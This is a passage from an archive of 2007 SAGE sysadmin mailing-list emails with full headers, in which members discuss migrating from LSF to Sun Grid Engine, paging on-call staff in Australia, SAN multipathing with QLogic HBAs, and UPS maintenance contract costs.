	b=X+wL08fopW0XnruUyAGnY7Q6RfyrGlKAiXGGlWNFlVmG1TSuXloPp9xXcnjSyeHDTpZZnfcg/Rh4wRyey25DWEhKHIC7bv9r3THkMK//ekpVhUJBocOYdDdz17dQoIf3u8htbfWYc4jIcQkRjsP1fJr5ZeXyTNkcP9SzcOMkmrE=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=SJjOa4U5hXM9yR9EkApHJW0L8m67+239jaPiZdz7mAjjWrMZ8eJ7tp4QuZegfimD5eYoRUs8XLMDDD4pwUaZwA2Awp296Fx9OGDWVozTVBxEFh6U+8O8ZmyUYij6lRuZ30i38ifNqhnFkTEiZI0G4WpYT00SgHIH7pWFmIJdKyQ=
Received: by 10.66.250.17 with SMTP id x17mr1773239ugh.1173913934179;
	Wed, 14 Mar 2007 16:12:14 -0700 (PDT)
Received: from ?192.168.1.2? ( [217.133.8.17])
	by mx.google.com with ESMTP id m4sm961279ugc.2007.03.14.16.12.12;
	Wed, 14 Mar 2007 16:12:12 -0700 (PDT)
Message-ID: <45F8814A.2050009@gmail.com>
Date: Thu, 15 Mar 2007 00:12:10 +0100
From: Marco Marongiu <brontolinux@gmail.com>
User-Agent: Icedove 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: John Stoffel <john@stoffel.org>
CC: sage-members@sage.org
Subject: Re: [SAGE] [lopsa-discuss] LSF vs GRID engine
References: <17912.20190.867047.118999@smtp.charter.net>
In-Reply-To: <17912.20190.867047.118999@smtp.charter.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi John

I don't know about Grid engine or similar tools. But you already have
LSF, and if you have enough computing power then you may want to sell it
to external customers, and in that case you may want to consider
EnginFrame <http://www.enginframe.com/docum/>.

That way your investment in LSF (money, time and expertise) would be
preserved, the tool and your servers would be used nearer to their full
potential, and selling that service would make LSF pay itself.

Just my two cents...

Ciao
--bronto


From sage-members-owner@usenix.org Thu Mar 15 04:04:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FB44Di017484
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 04:04:04 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2FB44KC017482
	for sage-members-0utGoign; Thu, 15 Mar 2007 04:04:04 -0700 (PDT)
Received: from ipmail02.adl2.internode.on.net (ipmail02.adl2.internode.on.net
	[203.16.214.141])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FB3bAM017475
	for <sage-members@sage.org>; Thu, 15 Mar 2007 04:03:48 -0700 (PDT)
Received: from ppp167-253-128.static.internode.on.net (HELO
	bits.crawford.emu.id.au) ([59.167.253.128])
	by ipmail02.adl2.internode.on.net with ESMTP; 15 Mar 2007 21:33:34 +1030
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Ah4FAOvC+EU7p/2A/2dsb2JhbACBZw
X-IronPort-AV: i="4.14,288,1170595800"; 
	d="scan'208"; a="97918057:sNHT23123499"
Received: from [203.16.204.7] (agc.crawford.emu.id.au [203.16.204.7])
	by bits.crawford.emu.id.au (8.13.8/8.13.7) with ESMTP id l2FB3PlH005471;
	Thu, 15 Mar 2007 22:03:26 +1100
Subject: Re: [SAGE] How do oncall SAs get paged in Australia?
From: Frank Crawford <frank@crawford.emu.id.au>
To: Benjamin Feen <benjy@feen.com>
Cc: sage-members@sage.org
In-Reply-To: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
References: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
Content-Type: text/plain
Date: Thu, 15 Mar 2007 22:03:25 +1100
Message-Id: <1173956605.3139.30.camel@agc.crawford.emu.id.au>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
Content-Transfer-Encoding: 7bit
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.1.12
	(bits.crawford.emu.id.au [203.16.204.5]);
	Thu, 15 Mar 2007 22:03:29 +1100 (EST)
X-Virus-Scanned: ClamAV 0.88.7/2840/Thu Mar 15 14:46:20 2007 on
	bits.crawford.emu.id.au
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=failed
	version=3.1.8
X-Spam-Checker-Version: SpamAssassin 3.1.8 (2007-02-13) on
	bits.crawford.emu.id.au
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=3%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hmmm, who told you these facts?  Because they are wrong.

I've been using pagers and SMS for the last 15+ years (and they probably
existed longer).  Yes, it appears the setup of paging and telco's are
different to the US, but they exist and are used.

First off, paging, there are two major paging companies in Australia,
both of which cover the bulk of the population and major cities.  They
certainly don't extend to far into the bush, but cover most major
centers.  Of course it does cost money, but so does any other comms in
Australia.

As for SMS, that is probably more complicated.  There are a couple of
vendors who offer email to SMS gateways, there are a bunch of other
smaller ones run by telco's for their our customers, and more and more
people are installing GSM modems and sending their messages directly.
Again, it costs money to do it, but not really a great deal.

I'm not certain as I don't know the US structure too well, but it seems
that in Australia there are fewer, but much larger (as a percentage of
the market) companies providing the service.  In most cases they cover
the entire country.

Regards
Frank Crawford

On Wed, 2007-03-14 at 09:34 -0700, Benjamin Feen wrote:
> Here's a silly question:
> 
> How do sysadmins get paged in Australia?
> 
> Allegedly, there's no pager infrastructure.  Email is apparently not
> commonly [or reliably?] gatewayed to SMS.
> 
> I know they have computers in Australia. They probably monitor them.
> 
> What goes "beep" on an Aussie sysadmin's belt when a service fails?
> 
> 


From sage-members-owner@usenix.org Thu Mar 15 10:45:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FHjEFH025501
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 10:45:14 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2FHjEIL025500
	for sage-members-0utGoign; Thu, 15 Mar 2007 10:45:14 -0700 (PDT)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.233])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FHj07U025486
	for <sage-members@sage.org>; Thu, 15 Mar 2007 10:45:11 -0700 (PDT)
Received: by wr-out-0506.google.com with SMTP id i28so283699wra
	for <sage-members@sage.org>; Thu, 15 Mar 2007 10:45:00 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=idI1MAxlpUQ7xRSAOq66WewD62Ay2rhXPUKk6/G3ht39Ztxm1/4OjN1hSHbh5n2QRRJcGxWfkdo5wRn+K0tOBD5OhaRNPrZE4wdsmoX7Z3fWr3eDJxKsf+fFH9g6WQv3+JOdBhvrL+NCI08/qDK9TzBEbDFCL2A5XXe4nZFy5JA=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=SUfHpExe3iVUmvKOBx+zyOSVWGpcjN3HVU5rua6+vxWmPA+auavg8srLMHOYQW14g4HprXRA9d7olijC7/TqQnhGB2Ht9kTtP8up2MX1MMB12XqK+h+hmoCexnceX6NPapqv0l3V+9+uuHOVlWnwkv7YWELQgjBw5sKhkRK8ys4=
Received: by 10.114.103.1 with SMTP id a1mr333154wac.1173980699705;
	Thu, 15 Mar 2007 10:44:59 -0700 (PDT)
Received: by 10.114.125.12 with HTTP; Thu, 15 Mar 2007 10:44:59 -0700 (PDT)
Message-ID: <82a71f8a0703151044p41b88302k854a8dcb10961744@mail.gmail.com>
Date: Thu, 15 Mar 2007 10:44:59 -0700
From: "Doug Hanks" <dhanks@gmail.com>
To: "Marco Marongiu" <brontolinux@gmail.com>
Subject: Re: [SAGE] Booting RedHat from SAN
Cc: "SAGE mailing list" <sage-members@sage.org>
In-Reply-To: <45F87F72.4050601@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
	<45F27ED2.1020307@gmail.com>
	<82a71f8a0703131318i3df8a01dpc2e7fdd8296caa9f@mail.gmail.com>
	<45F87F72.4050601@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I would rather off-load the multi-pathing to something that could do
it well, assuming that the HBA can do this.  I would like the HBA to
act as a SCSI controller does - take care of all the redundancy in the
background and present a logical device to the OS.

Is this possible with QLogic HBAs?  Can the HBAs themselves handle the
multipathing - or does the pathing have to be done at the OS level
still?

Doug

On 3/14/07, Marco Marongiu <brontolinux@gmail.com> wrote:
>
>
> Doug Hanks wrote:
> > Sounds like what you did was booting from SAN.
> No Doug, we don't. We boot from local disks and we use FC LUNs from
> NetApp devices to store data (e.g. Oracle stuff). When we get to the
> LUNs, the OS is already loaded from local disks.
> > Did you configure the Qlogic HBAs to see the LUNs and configure the
> > BIOS to use the HBAs as a boot device?
> See above
> >
> > I'm also interested if using this technique you would have dual-paths
> > and all the pathing logic was handled by the HBA.
> >
> As said, we use the device mapper multipath support in Linux, with no
> intervention from the HBA. All the pathing logic is handled by the
> device mapper.
>
> Ciao
> --bronto
>
>


-- 
- Doug Hanks = dhanks(at)gmail(dot)com


From sage-members-owner@usenix.org Thu Mar 15 13:05:35 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FK5KcH029055
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 13:05:26 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2FK5KS2029054
	for sage-members-0utGoign; Thu, 15 Mar 2007 13:05:20 -0700 (PDT)
Received: from Mycroft.westnet.com (Mycroft.westnet.com [216.187.52.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2FK4ilj029028
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Thu, 15 Mar 2007 13:05:00 -0700 (PDT)
Received: from jfsnew.stoffel.org (68-118-228-211.dhcp.oxfr.ma.charter.com
	[68.118.228.211]) (authenticated bits=0)
	by Mycroft.westnet.com (8.14.0/8.14.0) with ESMTP id l2FK4H8i003620
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 15 Mar 2007 16:04:18 -0400 (EDT)
Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id E53624EEF0; Thu, 15 Mar 2007 16:04:20 -0400 (EDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17913.42692.819042.250183@smtp.charter.net>
Date: Thu, 15 Mar 2007 16:04:20 -0400
From: "John Stoffel" <john@stoffel.org>
To: Marco Marongiu <brontolinux@gmail.com>
Cc: John Stoffel <john@stoffel.org>, sage-members@sage.org
Subject: Re: [SAGE] [lopsa-discuss] LSF vs GRID engine
In-Reply-To: <45F8814A.2050009@gmail.com>
References: <17912.20190.867047.118999@smtp.charter.net>
	<45F8814A.2050009@gmail.com>
X-Mailer: VM 7.19 under Emacs 21.4.1
X-Virus-Scanned: ClamAV 0.90/2841/Thu Mar 15 07:11:45 2007 on
	Mycroft.westnet.com
X-Virus-Status: Clean
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


Marco> I don't know about Grid engine or similar tools. But you
Marco> already have LSF, and if you have enough computing power then
Marco> you may want to sell it to external customers, and in that case
Marco> you may want to consider EnginFrame
Marco> <http://www.enginframe.com/docum/>.

Due to security concerns, there is no way that we'll be able to do
anything like this at all.  We have confidential customer data (chip
designs) which has all sort of Legan NDAs attached, etc.  

The global Grid is a nice idea, but it won't happen for us.  

Marco> That way your investment in LSF (money, time and expertise)
Marco> would be preserved, the tool and your servers would be used
Marco> nearer to their full potential, and selling that service would
Marco> make LSF pay itself.

It's mostly the money I want to save, since we don't use LSF to any
great degree at all, or the features in LSF.  It's cheaper for us to
just throw more cheap dual opterons into our queues and let the users
run on more systems if we run into contention.  Compared to our tool
licensing costs, it's all in the noise.

John


From sage-members-owner@usenix.org Thu Mar 15 20:54:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G3secg009745
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 20:54:41 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2G3seTr009744
	for sage-members-0utGoign; Thu, 15 Mar 2007 20:54:40 -0700 (PDT)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G3sJ3J009732
	for <sage-members@sage.org>; Thu, 15 Mar 2007 20:54:30 -0700 (PDT)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id B6F7D5A951F3
	for <sage-members@sage.org>; Thu, 15 Mar 2007 23:48:23 -0400 (EDT)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id 13B86C8E80
	for <sage-members@sage.org>; Thu, 15 Mar 2007 23:47:44 -0400 (EDT)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id EBCEBC8E4F
	for <sage-members@sage.org>; Thu, 15 Mar 2007 23:47:43 -0400 (EDT)
Date: Thu, 15 Mar 2007 23:47:19 -0400
From: "Philip J. Hollenback" <philiph@pobox.com>
To: sage-members@sage.org
Subject: [SAGE] Liebert UPS maintenance costs
Message-ID: <20070316034719.GG2506@hollenback.net>
Reply-To: philiph@pobox.com
Mail-Followup-To: philiph@pobox.com, sage-members@sage.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=25%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I have a 40 KVA Liebert NPower UPS in my server room that's a year
old.  The yearly maintenance contract from Liebert last year with 8x5
service and bi-monthly tech visits cost around $4000.

I just got the renewal quote from Liebert and it was over $5000 for
the next year of service.  I complained and they dropped it to $4000
but that still seems like a lot of money for the service I get.

As far as I can tell all I get for the money is a tech that shows up
every two months with a voltmeter to check the batteries.  They don't
even cover the one fan filter in the unit because they claim they
can't stock all the different filters.

Now for comparison I also have two Liebert 7-ton AC units in this
room (same age as the UPS).  The yearly maintenance for both of them
costs about $2000.  For that I get lots of filters and belts changed,
fluids checked, etc.  There are a lot of moving parts in the AC units
while there are basically none in the UPS.

The big difference is that a regular AC service company handles the AC
units.  There are numerous AC service companies but I don't think
there are that many UPS maintenance companies.  I see from a Google
search that there is a company called JT Packard that claims to do
nationwide service for various UPS systems like our Liebert but I
haven't talked to them yet.

So:

1. Does anyone get UPS service from a company that is not the original
   equipment manufacturer?  I'm talking about whole-room UPSes here.

2. Can anyone recommend a company that performs this service in
   Manhattan?

Thanks,
P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Thu Mar 15 21:35:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G4ZD2T010626
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 21:35:13 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2G4ZDVd010625
	for sage-members-0utGoign; Thu, 15 Mar 2007 21:35:13 -0700 (PDT)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G4YlYK010597
	for <sage-members@sage.org>; Thu, 15 Mar 2007 21:34:57 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 37A7F15B579;
	Fri, 16 Mar 2007 00:34:30 -0400 (EDT)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 17159-06; Fri, 16 Mar 2007 00:34:28 -0400 (EDT)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 719F215B560;
	Fri, 16 Mar 2007 00:34:28 -0400 (EDT)
Received: from [10.0.1.201] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l2G4YJ0c057287;
	Thu, 15 Mar 2007 23:34:23 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240504c21fce274ab8@[10.0.1.201]>
In-Reply-To: <20070316034719.GG2506@hollenback.net>
References: <20070316034719.GG2506@hollenback.net>
Date: Thu, 15 Mar 2007 23:34:15 -0500
To: philiph@pobox.com, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Liebert UPS maintenance costs
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.352 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.047, BAYES_00=-2.599]
X-Spam-Score: -4.352
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 11:47 PM -0400 3/15/07, Philip J. Hollenback wrote:

>  1. Does anyone get UPS service from a company that is not the original
>     equipment manufacturer?  I'm talking about whole-room UPSes here.

This is a very interesting question.  As you get more and more people 
that want to live off-the-grid, with solar, wind, or other 
alternative power sources feeding a local battery (with generator 
backup, in case of extended periods of cloudiness or low winds, or 
whatever), with excess being sold back to the power company, I think 
you're going to get more and more people who will want these kinds of 
services.

It'll be really interesting to see if there are any major companies 
that can provide service to this market, and how that might differ 
from providing the kinds of services you're looking for at a larger 
scale business facility.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Thu Mar 15 21:48:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G4miiC011147
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 21:48:49 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2G4miJW011146
	for sage-members-0utGoign; Thu, 15 Mar 2007 21:48:44 -0700 (PDT)
Received: from hexogen.explosive.net (hexogen.explosive.net [216.27.184.5])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G4mDiM011125
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Thu, 15 Mar 2007 21:48:24 -0700 (PDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by hexogen-lo0.explosive.net (Postfix) with ESMTP id 2F44466C089;
	Thu, 15 Mar 2007 21:48:08 -0700 (PDT)
Date: Thu, 15 Mar 2007 21:48:08 -0700 (PDT)
From: Eric Sorenson <eric@explosive.net>
To: John Stoffel <john@stoffel.org>
cc: sage-members@sage.org
Subject: Re: [SAGE] [lopsa-discuss] LSF vs GRID engine
In-Reply-To: <17912.20190.867047.118999@smtp.charter.net>
Message-ID: <Pine.LNX.4.64.0703152134170.15077@hexogen.explosive.net>
References: <17912.20190.867047.118999@smtp.charter.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Wed, 14 Mar 2007, John Stoffel wrote:

> Has anyone else out there migrated (or thought of migrating) from
> using the Platform Computer LSF (Load Sharing Facility) batch
> scheduling tools to the newish Sun GRID Engine
> (http://gridengine.sunsource.net) tools?  
> 
> We're honestly not using LSF to anywhere near it's capabilities, and
> the prices we pay are quite high.  So anything which lets us lower
> costs while not losing functionality would be great.
> 
> Basically, our users either 'bsub' jobs in batch mode, or they'll fire
> off an interactive job and then run their tools.  We're an EDA Design
> shop, doing ASIC simulations, layout, etc.  
> 
> We don't do many chained jobs, or parallel jobs, or anything like
> that.  So why pay for LSF?
 
We did exactly this a few years ago at Transmeta, for exactly this 
reason -- though we did end up paying for Sun support to the tune of 
$80K/yr it was still cheaper than Platform's (outrageous) per-cpu 
licensing.

Here's the paper Kirk Patton, who did the heavy lifting on the 
migration, wrote about his experience. Hopefully it'll help, I can 
answer some questions about it or put you in touch with Kirk if you 
need more nitty-gritty detail. (Sadly we no longer work together)

http://www.sun.com/bigadmin/features/articles/n1ge_migration.html

Re-reading over it, we actually had more trouble in a couple of areas 
than he describes. Specifically: 1) the interactive jobs were more 
problematic and required several patches from Sun to get working, and 
2) the decision to write an abstraction layer to wrap around the 
submission backend made for much more work than training the users on 
a new CLI.

Overall, definitely worth doing. 

-- 
 - Eric Sorenson - N37 17.255 W121 55.738  - http://ahpook.vox.com/   -
 - Personal colo with a professional touch - http://www.explosive.net -


From sage-members-owner@usenix.org Thu Mar 15 23:17:35 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G6HZOJ012608
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 15 Mar 2007 23:17:35 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2G6HZDn012607
	for sage-members-0utGoign; Thu, 15 Mar 2007 23:17:35 -0700 (PDT)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G6HBmq012597
	for <sage-members@sage.org>; Thu, 15 Mar 2007 23:17:21 -0700 (PDT)
Received: by wr-out-0506.google.com with SMTP id i28so473489wra
	for <sage-members@sage.org>; Thu, 15 Mar 2007 23:17:07 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=niHzZfmGoDRVbVHq5u5DDX8p3qXdY7ufF+9y9D0UBKbUke6Nbjfx1xV4KD0+e/h9rnXivK3kNrc0JEogZM7g7htY9G0T7R72DmSSYztP9lN/6s4nCTtvE9Qi9Roz4ACNP/3YwgMR7QfoYbgZdioOzAoWq5fY4Lu4aTsTHDJzEiQ=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=J6uak1jPpUYVzfNb2dTN0a6BxlD11Gka+VmXICDY82bd0/8ONgzS9FQQkD1eN1XZveMDVt3JffzHYAs5VZfxzcFcCE7aXtzqilgfM2KMadTiiXKY5d0B48hPj96l0aUNBg+nJ7iLDqsXC/tugVQt47oWSduz3IpeMpc9aIGIsyY=
Received: by 10.114.193.1 with SMTP id q1mr585707waf.1174024255752;
	Thu, 15 Mar 2007 22:50:55 -0700 (PDT)
Received: by 10.114.39.13 with HTTP; Thu, 15 Mar 2007 22:50:55 -0700 (PDT)
Message-ID: <29b4f6860703152250k14f78d93lfa583b18225e8503@mail.gmail.com>
Date: Thu, 15 Mar 2007 22:50:55 -0700
From: "Neil Waybright" <neil.waybright@gmail.com>
To: sage-members@sage.org
Subject: Re: [SAGE] [lopsa-discuss] LSF vs GRID engine
In-Reply-To: <17912.20190.867047.118999@smtp.charter.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <17912.20190.867047.118999@smtp.charter.net>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/14/07, John Stoffel <john@stoffel.org> wrote:
> Has anyone else out there migrated (or thought of migrating) from
> using the Platform Computer LSF (Load Sharing Facility) batch
> scheduling tools to the newish Sun GRID Engine
> (http://gridengine.sunsource.net) tools?
>
> We're honestly not using LSF to anywhere near it's capabilities, and
> the prices we pay are quite high.  So anything which lets us lower
> costs while not losing functionality would be great.
>
> Basically, our users either 'bsub' jobs in batch mode, or they'll fire
> off an interactive job and then run their tools.  We're an EDA Design
> shop, doing ASIC simulations, layout, etc.
>
> We don't do many chained jobs, or parallel jobs, or anything like
> that.  So why pay for LSF?
>

If you are not doing anything fancy at all and you have many options
it sounds like it is worth checking around.  At $work we have a lot of
business logic encoded in the LSF environment and it is important to
us.  If you can can get by with a less sophisticated tool and save a
lot of money it certainly sounds like a good idea.  There are a number
of free/low cost tools....

Neil

-- 
The ultimate measure of a man is not where he stands in moments of
comfort and convenience, but times of challenge and controversy.
        Martin Luther King Jr.


From sage-members-owner@usenix.org Fri Mar 16 01:01:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G81E0B023741
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 16 Mar 2007 01:01:15 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2G81EBj023740
	for sage-members-0utGoign; Fri, 16 Mar 2007 01:01:14 -0700 (PDT)
Received: from mx1.tor.loyalty.com (mx1.tor.loyalty.com [216.13.136.14])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2G80r3b023717
	for <sage-members@sage.org>; Fri, 16 Mar 2007 01:01:04 -0700 (PDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [SAGE] Liebert UPS maintenance costs
Date: Fri, 16 Mar 2007 03:29:28 -0400
Message-ID: <5745E684F546C64D916A0BFAD2EF2A23017214AB@TDC-EVS-02.ntastor.local>
In-Reply-To: <20070316034719.GG2506@hollenback.net>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [SAGE] Liebert UPS maintenance costs
thread-index: Acdng0EhGE5TA8xTSj+Qb3E2L+c+zQAEzH8A
References: <20070316034719.GG2506@hollenback.net>
From: "Daniel Meyer" <DMeyer@loyalty.com>
To: <sage-members@sage.org>
X-OriginalArrivalTime: 16 Mar 2007 07:29:29.0851 (UTC)
	FILETIME=[D58A2CB0:01C7679C]
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id
	l2G81D3b023732
Sender: owner-sage-members@usenix.org
Precedence: bulk

Philip, we have non-OEM service contracts for a number of large UPS
systems. Maintenance costs are still relatively expensive, but we're
receiving more comprehensive service than you described. In addition to
assessing the condition of the cells in the battery cabinets, the
transfer switches and bypass circuitry are tested, diagnostics are
performed on the inverter/charging circuitry, and contactors and
breakers are tested /inspected. 

The units are also cleaned and firmware is updated when needed. Given
that experience is required to perform these activities without
impacting operations on a clients site, the inherent safety risks
associated with working on open high voltage systems, and the cost of
downtime ( at least in our case ) - the contract price, while
unpleasant, is at least understandable.

Perhaps in the future you might be interested in looking at modular UPS
systems where components are used to scale up to the required capacity.
You'd likely need contractor support to install the chassis and power
distribution, but the rest of the components are essentially FRUs. With
these units we can safely change the batteries and inverters ourselves
while the systems are online. From my own experience I'd suggest that
the diagnostics these units provide are more granular than the larger
units we have and the monitoring options are better/more cost effective
as well.

There is a 'Computer Room Services' category in my local phonebook with
